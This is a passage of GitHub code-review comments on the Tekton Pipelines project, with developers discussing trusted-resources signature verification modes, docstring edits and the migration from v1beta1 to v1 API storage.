"QuanZhang-William", "body": "Updated!", "comment_id": 1131655617, "created_at": "2023-03-09T21:55:36Z", "line": null, "path": "pkg/apis/pipeline/v1/pipelinerun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Removed the check for readability!", "comment_id": 1131656327, "created_at": "2023-03-09T21:56:18Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/taskrun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "QuanZhang-William", "body": "Updated", "comment_id": 1131656488, "created_at": "2023-03-09T21:56:27Z", "line": null, "path": "pkg/apis/pipeline/v1/pipelinerun_defaults_test.go", "pr_number": 6339, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "we could return empty signature here, and return verification error in `verifyInterface`, the benefits of having this change is that the unsigned task will also be evaluated against matching policies (if the mode is warn then the unsigned task won't fail).\r\n\r\nOtherwise the task will fail here and return directly", "comment_id": 1143535433, "created_at": "2023-03-21T15:04:12Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n # mode can be set to \"enforce\" (default) or \"warn\".\r\n```", "comment_id": 1145398773, "created_at": "2023-03-22T20:55:02Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "can this be reworded?", "comment_id": 1145403597, "created_at": "2023-03-22T21:00:32Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you update the docstring of this function to describe in more detail its return values? It's hard for me to tell why `nil` is being changed to an empty slice. In general I don't think we should treat nil slices differently from empty slices. Could you also elaborate a bit more on why this no longer returns an error? I'm a bit confused", "comment_id": 1145405391, "created_at": "2023-03-22T21:02:31Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, the reason is because this code returns error if the signature is missing. But in this PR we want to use \"mode\" in verification policies, I want to allow the case where an unsigned task matching a `warn` policy, it shouldn't fail. This `warn` policy can be used as an `allowlist` to match those unsigned tasks. \r\n\r\nWithout this change:\r\n1. If a task doesn't have a signature but matching a warn policy. It will return error here and fail. \r\n\r\nWith this change:\r\n1. If a task doesn't have a signature but matching a enforce policy. It will return error in verify `verifyResource()`. The behaviour doesn't change. \r\n2. If a task doesn't have a signature but matching a warn policy. It will not return error. ", "comment_id": 1145411938, "created_at": "2023-03-22T21:10:10Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! I leveraged chatgpt to reword this part", "comment_id": 1145424768, "created_at": "2023-03-22T21:24:41Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "nice! \ud83d\ude0e ", "comment_id": 1146193357, "created_at": "2023-03-23T13:24:06Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n// 1. If multiple policies match, the resource must satisfy all the \"enforce\" policies to pass verification.\r\n// The matching \"enforce\" policies are evaluated using AND logic. Alternatively, if the resource only matches policies in \"warn\" mode, it will still pass verification and only log a warning if these policies are not satisfied.\r\n// 2. To pass one policy, the resource can pass any public keys in the policy. We use OR logic on public keys of one policy.\r\n```", "comment_id": 1146195884, "created_at": "2023-03-23T13:25:59Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "Suggested docstring:\r\n```\r\n// prepareObjectMeta removes the annotations \"kubectl-client-side-apply\" and \"kubectl.kubernetes.io/last-applied-configuration\"\r\n// (added when an object is created with `kubectl apply`) to avoid signature verification failure.\r\n// Returns a copy of the input object metadata with the annotations removed and the object's signature,\r\n// if it is present in the metadata.\r\n// Returns a non-nil error if the signature cannot be decoded.\r\n```", "comment_id": 1146205879, "created_at": "2023-03-23T13:33:02Z", "line": 217, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "Makes sense. can you please make the suggested updates to the docstring, and use a nil slice rather than an empty one? https://google.github.io/styleguide/go/decisions#nil-slices: \"If you declare an empty slice as a local variable (especially if it can be the source of a return value), prefer the nil initialization to reduce the risk of bugs by callers...Do not create APIs that force their clients to make distinctions between nil and the empty slice.\"", "comment_id": 1146212602, "created_at": "2023-03-23T13:38:02Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "wlynch", "body": "nit: prob still want fatal here (likely doesn't make sense to diff if you didn't get the task successfully)", "comment_id": 1146252909, "created_at": "2023-03-23T14:04:58Z", "line": null, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "wlynch", "body": "+1\r\n\r\nPretty sure this value just gets plumbed through to here - https://github.com/tektoncd/pipeline/blob/7fa09d900bc342f2f53a4aedfeba75133ac2c5c7/pkg/trustedresources/verify.go#L179 so it should be safe to use nil or []byte{} interchangably.", "comment_id": 1146261991, "created_at": "2023-03-23T14:11:12Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Sure! Thanks for the suggestions!", "comment_id": 1146272643, "created_at": "2023-03-23T14:18:24Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks!", "comment_id": 1146299240, "created_at": "2023-03-23T14:37:03Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thank you! ", "comment_id": 1146300597, "created_at": "2023-03-23T14:38:01Z", "line": 217, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 1146301201, "created_at": "2023-03-23T14:38:22Z", "line": null, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Updated the docstrings and return a nil ", "comment_id": 1146316886, "created_at": "2023-03-23T14:48:37Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "lbernick", "body": "can you keep this test case around, but just have it not return an error anymore? (sorry I missed this on earlier passes)", "comment_id": 1146370457, "created_at": "2023-03-23T15:24:46Z", "line": 460, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh right, I shouldn't remove this case. Sorry my bad", "comment_id": 1146386235, "created_at": "2023-03-23T15:35:35Z", "line": 460, "path": "pkg/trustedresources/verify_test.go", "pr_number": 6406, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Currently I have tried replacing v1beta1.TaskObject with v1.Task, but not sure if there are any concerns here.", "comment_id": 1150819791, "created_at": "2023-03-28T15:40:26Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "won't this break clusterTasks?", "comment_id": 1150826141, "created_at": "2023-03-28T15:45:18Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I might be mistaken, I thought during the resolveTask process we could convert v1beta1.ClustertASK to a v1.Task", "comment_id": 1150862482, "created_at": "2023-03-28T16:13:00Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "oh sorry, I didn't look closely enough. I think this could work, but I suggest making this change in its own PR, and testing it out locally.", "comment_id": 1151136641, "created_at": "2023-03-28T20:48:21Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks for the pointer. Going to try to separate `v1beta1.TaskObject` out for `v1beta1.Task` and `ClusterTask` in a single PR and only to switch v1beta1 to v1 in this PR if that sounds good.", "comment_id": 1151558648, "created_at": "2023-03-29T08:16:55Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "https://github.com/tektoncd/pipeline/pull/6452 is ready for review as a separate PR. \ud83d\ude4f Thank you!", "comment_id": 1153321194, "created_at": "2023-03-30T14:07:38Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "v1beta1 CustomRun isn't deprecated", "comment_id": 1165544952, "created_at": "2023-04-13T13:44:19Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_conversion.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Just to confirm that this change should not be done?", "comment_id": 1172449539, "created_at": "2023-04-20T11:24:30Z", "line": 66, "path": "pkg/apis/resolution/v1beta1/resolution_request_types.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "\ud83d\udc4b one of the remaining questions I got is for the RefSource here to work, shall I swap all the v1beta1 RefSource to v1 from https://github.com/tektoncd/pipeline/blob/8d1a90346918c71fa628db8d50fefb759079ddd1/test/resolution.go#L46? cc @Yongxuanzhang @chuangw6 ", "comment_id": 1212280198, "created_at": "2023-05-31T20:34:23Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "to add more detail, meaning we need to change [refSource version in pkg/resolution/common/interface.go](https://github.com/tektoncd/pipeline/blob/8d1a90346918c71fa628db8d50fefb759079ddd1/pkg/resolution/common/interface.go#L62) to v1?", "comment_id": 1212285554, "created_at": "2023-05-31T20:40:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think we need to. I don't see a reason why we don't swap it as well", "comment_id": 1212320730, "created_at": "2023-05-31T21:12:21Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "Looking at the resolver interface, I think this would actually be a breaking change: https://github.com/tektoncd/pipeline/blob/main/docs/how-to-write-a-resolver.md#the-resolve-method\r\n\r\nSince all resolvers must implement the Resolve method, which returns a ResolvedResource, changing the type of a ResolvedResource field would mean all resolvers must update their code. (Since the v1beta1 and v1 versions are identical, I don't think it's a big difference, but if we can swap the storage version of the api without making breaking changes, we should.)", "comment_id": 1213136747, "created_at": "2023-06-01T13:13:54Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I am confused looking at this. in [0e7469d4ac1b31147e21ed61c410b8fb4e1959e0](https://github.com/tektoncd/pipeline/pull/6444/commits/0e7469d4ac1b31147e21ed61c410b8fb4e1959e0), this seems to be a new file added (but it shouldn't be), and it's not apparent on my local while gitHub keeps telling me it's an empty file with warning ` \"Line must be part of the diff\"` and in https://github.com/tektoncd/pipeline/pull/6444/commits/45db2c51ab57323d8736ea2eacb733975335cd7d I tried to restore this license file manually but it didn't work either", "comment_id": 1213228861, "created_at": "2023-06-01T14:16:10Z", "line": 1, "path": "cmd/controller/kodata/LICENSE", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Also i have tried to restore all the changes to these files and force push", "comment_id": 1213238335, "created_at": "2023-06-01T14:22:41Z", "line": 1, "path": "cmd/controller/kodata/LICENSE", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "suspicious github actions log\r\n```\r\njeromeju@jju:~/pipeline$ git commit -m \"[WIP] swap v1 storage\"\r\n[v1-storage 39166b563] [WIP] swap v1 storage\r\n 183 files changed, 8560 insertions(+), 8563 deletions(-)\r\n mode change 120000 => 100644 cmd/controller/kodata/LICENSE\r\n mode change 120000 => 100644 cmd/entrypoint/kodata/LICENSE\r\n mode change 120000 => 100644 cmd/nop/kodata/LICENSE\r\n mode change 120000 => 100644 cmd/resolvers/kodata/LICENSE\r\n mode change 120000 => 100644 cmd/webhook/kodata/LICENSE\r\n mode change 120000 => 100644 test/.ko.yaml\r\n mode change 100755 => 100644 test/e2e-common.sh\r\n mode change 100755 => 100644 test/e2e-tests-upgrade.sh\r\n mode change 100755 => 100644 test/e2e-tests.sh\r\n mode change 100755 => 100644 test/presubmit-tests.sh\r\n ```\r\n \r\n these are not apparent in my changelist in my local IDE but with git commit these modes get created/modified", "comment_id": 1213241288, "created_at": "2023-06-01T14:24:47Z", "line": 1, "path": "cmd/controller/kodata/LICENSE", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "Actually, on second thought, I think it's OK to swap out the types in the resolver interface. Existing resolvers do not need to update as a result of this change, since they operate on the resolutionrequest CRD. They'd only need to update if pulling in a new version of pipelines for some reason.", "comment_id": 1213317877, "created_at": "2023-06-01T15:17:39Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "This change is being discussed separately in https://github.com/tektoncd/pipeline/pull/6732. It shouldn't be needed for this PR to pass tests.", "comment_id": 1214869628, "created_at": "2023-06-02T21:43:36Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "This is the correct syntax for v1beta1 which is what this tab displays, please leave as is", "comment_id": 1214869909, "created_at": "2023-06-02T21:43:57Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "What's the reason for these changes?", "comment_id": 1214871955, "created_at": "2023-06-02T21:46:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\tv1beta1WorkspaceBinding := v1beta1.WorkspaceBinding{}\r\n```", "comment_id": 1214872506, "created_at": "2023-06-02T21:47:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for this change, and likewise for customrun?", "comment_id": 1214874362, "created_at": "2023-06-02T21:50:05Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n value: pipeline\r\n```", "comment_id": 1214874853, "created_at": "2023-06-02T21:50:49Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this should actually be handled by the next case; this case can be removed.", "comment_id": 1214877958, "created_at": "2023-06-02T21:55:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\nreturn nil, nil, fmt.Errorf(\"failed to convert obj %s into Pipeline\", obj.GetObjectKind().GroupVersionKind().String())\r\n```", "comment_id": 1214878500, "created_at": "2023-06-02T21:55:44Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "it looks like you might have forgotten to uncomment this and other tests in this file.", "comment_id": 1214879300, "created_at": "2023-06-02T21:56:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you please update this docstring to focus on what the function does and remove references to customrun being deprecated? Same for the other exported functions.", "comment_id": 1214881839, "created_at": "2023-06-02T22:00:22Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_conversion.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks Lee!", "comment_id": 1217954612, "created_at": "2023-06-05T11:45:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "this should be some lint fix that's not rebased automatically by git", "comment_id": 1217955210, "created_at": "2023-06-05T11:46:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "restored", "comment_id": 1217955301, "created_at": "2023-06-05T11:46:41Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks, shall we add update the doc with another section with V1 CRD used?", "comment_id": 1217955967, "created_at": "2023-06-05T11:47:19Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "SG, was including it in this PR just not to let features break. I think it makes sense to make these changes in #6732 . Will set rebasing on #6732 as a TODO for unblocking this PR", "comment_id": 1217957542, "created_at": "2023-06-05T11:48:52Z", "line": null, "path": "config/config-feature-flags.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think the first case is calling oci.NewResolver which is a separate API on OCI that is implemented?", "comment_id": 1217959507, "created_at": "2023-06-05T11:50:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "can you please revert the changes to this file?", "comment_id": 1218126113, "created_at": "2023-06-05T14:06:01Z", "line": 1, "path": "pkg/apis/pipeline/v1/param_types.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for this change?", "comment_id": 1218127439, "created_at": "2023-06-05T14:06:59Z", "line": null, "path": "pkg/apis/pipeline/v1/result_defaults.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "function docstrings should focus on what the function does rather than how it's called, i.e. please remove the second sentence (here and for the other exported functions)", "comment_id": 1218128240, "created_at": "2023-06-05T14:07:38Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/param_conversion.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "why is this import added?", "comment_id": 1218135390, "created_at": "2023-06-05T14:12:51Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I believe the bundle resolver should also work for resolving the old bundle syntax-- that's why we implemented conversion between the two. This actually changes the implementation for what happens if a user specifies a bundle resolver, which I don't think we want. I'm not sure why this uses `oci.NewResolver`, which is different from the bundle resolver implementation, so I will check on that. In the meantime, I think it would be better to remove this case, to avoid changing the implementation of bundle resolution.", "comment_id": 1218144310, "created_at": "2023-06-05T14:19:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "also added for taskRef, thanks for the suggestion", "comment_id": 1218145227, "created_at": "2023-06-05T14:20:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "signature verification isn't guaranteed to succeed after conversion. Maybe it would be better to update `test.GetUnsignedPipeline` and `test.GetSignedPipeline` to return the versions needed?", "comment_id": 1218147145, "created_at": "2023-06-05T14:21:49Z", "line": 515, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for this change?", "comment_id": 1218150400, "created_at": "2023-06-05T14:23:59Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for this change?", "comment_id": 1218150882, "created_at": "2023-06-05T14:24:17Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "same conversation re: bundle resolver as in pipelineref.go", "comment_id": 1218152356, "created_at": "2023-06-05T14:25:18Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "why are these test cases removed?", "comment_id": 1218154207, "created_at": "2023-06-05T14:26:35Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for these changes?", "comment_id": 1218157351, "created_at": "2023-06-05T14:28:47Z", "line": 915, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for these changes?", "comment_id": 1218158753, "created_at": "2023-06-05T14:29:50Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "it looks like you might have forgotten to address this TODO (and the other one in this file)", "comment_id": 1218217791, "created_at": "2023-06-05T15:11:49Z", "line": null, "path": "pkg/taskrunmetrics/metrics_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "please revert this change", "comment_id": 1218225064, "created_at": "2023-06-05T15:16:27Z", "line": null, "path": "test/e2e-tests-kind-prow.env", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n value: Pipeline\r\n```", "comment_id": 1218235816, "created_at": "2023-06-05T15:20:54Z", "line": null, "path": "test/tektonbundles_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I think these are integration tests for our OCI bundles syntax. Let's leave them in place (assuming we also have integration tests for the bundle resolver) rather than converting them to v1, since we want to make sure the bundle syntax still works.", "comment_id": 1218237392, "created_at": "2023-06-05T15:22:10Z", "line": 1, "path": "test/tektonbundles_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "we're good, there's already a tab section with v1 examples if you take a closer look at this doc.", "comment_id": 1218240815, "created_at": "2023-06-05T15:24:51Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "thanks, this was communicated with @Yongxuanzhang offline and will add to the test cases for both v1 and v1beta1 also in https://github.com/tektoncd/pipeline/pull/6764", "comment_id": 1218504553, "created_at": "2023-06-05T19:31:57Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "SG, restored the parts apart from the bundle resolvers.", "comment_id": 1218505158, "created_at": "2023-06-05T19:32:40Z", "line": 1, "path": "test/tektonbundles_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "restored, these were deleted back when we didn't add a v1.ClusterTaskRefKind", "comment_id": 1218505811, "created_at": "2023-06-05T19:33:26Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "ConfigSource is deprecated during this PR being opened at https://github.com/tektoncd/pipeline/blob/b5c213541a37cfa0e72d2824166b0bbdcffdffcc/pkg/apis/pipeline/v1beta1/provenance.go#LL23C1-L23C1.", "comment_id": 1221534794, "created_at": "2023-06-07T12:49:04Z", "line": 915, "path": "pkg/reconciler/taskrun/taskrun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Removed, thanks for the pointers on this and for the e2e test as well @lbernick ", "comment_id": 1223483097, "created_at": "2023-06-08T19:52:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "This was added during the investigation of https://github.com/tektoncd/pipeline/pull/6444#issuecomment-1507914592. removed now", "comment_id": 1223484049, "created_at": "2023-06-08T19:53:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/cancel_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think this should be addressed in the updated trustedResources PR", "comment_id": 1223484828, "created_at": "2023-06-08T19:53:36Z", "line": 515, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "removed, I think this was added within some rebase", "comment_id": 1223489744, "created_at": "2023-06-08T19:57:14Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "would you mind adding a bit of detail to your commit message about why these are moved to a beta folder? i.e. this addresses the problem dibyo pointed out here https://github.com/tektoncd/pipeline/pull/6444#issuecomment-1580926707", "comment_id": 1224451113, "created_at": "2023-06-09T15:24:53Z", "line": 1, "path": "examples/v1beta1/pipelineruns/beta/git-resolver.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I'd prefer to keep these test cases around, similar to https://github.com/tektoncd/pipeline/pull/6778", "comment_id": 1224453158, "created_at": "2023-06-09T15:26:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "we already have tests for fetching a v1 remote pipeline (the ones Yongxuan added in https://github.com/tektoncd/pipeline/pull/6765), e.g. TestGetPipelineFunc_V1Pipeline_VerifyNoError. It looks like this updates tests to fetch a v1 pipeline instead of a v1beta1 pipeline, but I think we want to maintain coverage for fetching v1beta1 pipelines here. (This test class should probably be named TestGetPipelineFunc_v1beta1Pipeline_VerifyNoError.)", "comment_id": 1224458336, "created_at": "2023-06-09T15:31:47Z", "line": 493, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "would it make sense to replace this test with a bundle resolver? @Yongxuanzhang I'm sort of confused what this is supposed to test based on the error message \"failed to get keychain\", but it seems like something we'd want to maintain coverage for-- are you able to give a bit more detail? (Same comment for the related taskref test)", "comment_id": 1224460551, "created_at": "2023-06-09T15:33:49Z", "line": 1237, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "Isn't this functionality covered by TestGetTaskFunc_RemoteResolution? I think this test class can be removed.", "comment_id": 1224463886, "created_at": "2023-06-09T15:37:03Z", "line": null, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "what's the reason for this change? Is it just a cleanup?", "comment_id": 1224465608, "created_at": "2023-06-09T15:37:58Z", "line": 490, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "it looks like this is repeating the last if statement", "comment_id": 1224469940, "created_at": "2023-06-09T15:41:55Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm not sure I understand why provenance is changing, since this PR doesn't change the conversion logic-- would you mind just giving a quick explanation here?", "comment_id": 1224471409, "created_at": "2023-06-09T15:43:29Z", "line": 1189, "path": "test/conversion_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\t\"enable-api-fields\": \"beta\",\r\n```", "comment_id": 1224472029, "created_at": "2023-06-09T15:44:10Z", "line": null, "path": "test/resolvers_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\t\"enable-api-fields\": \"beta\",\r\n```", "comment_id": 1224472279, "created_at": "2023-06-09T15:44:22Z", "line": null, "path": "test/resolvers_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\t\"enable-api-fields\": \"beta\",\r\n```", "comment_id": 1224472651, "created_at": "2023-06-09T15:44:35Z", "line": null, "path": "test/resolvers_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "lbernick", "body": "was this change intentional? It looks like this is in the v1beta1 folder, i.e. meant to test v1beta1 objects", "comment_id": 1224473699, "created_at": "2023-06-09T15:45:36Z", "line": null, "path": "test/yamls/v1beta1/beta/pipelineruns/pipelinerun.yaml", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "I think provenance is updated when we are using the resolver to fetch the bundled image from the registry that was setup in the `setupBundle` helper?\r\n\r\nAnd for this it seems we are having 2 options:\r\n- to refactor the `setupBundle` helper func to return the image digest\r\n- to ignore the image digest\r\n\r\nwhich i have chosen the 2nd one since this test is mainly for conversions if that makes sense?", "comment_id": 1224496236, "created_at": "2023-06-09T16:06:57Z", "line": 1189, "path": "test/conversion_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Makes perfect sense. This part was outdated as it was introduced before the v1 Trusted Resources verifications PR related with PipelineRef/ TaskRef gets in. \r\n\r\nI opened https://github.com/tektoncd/pipeline/pull/6803 for the updates since it could be a separate refactor from this swap if that helps.", "comment_id": 1224587281, "created_at": "2023-06-09T17:43:23Z", "line": 493, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this is for the test coverage for the error from bundle here: https://github.com/tektoncd/pipeline/blob/06d249921f48c5351a7eb9560fd87fac067c2ef9/pkg/reconciler/pipelinerun/resources/pipelineref.go#L76 \r\nI think it's ok to remove this test case since the code is removed in this PR", "comment_id": 1224608190, "created_at": "2023-06-09T18:09:28Z", "line": 1237, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6444, "repo": "pipeline"} +{"author": "JeromeJu", "body": "sorry I think i might have 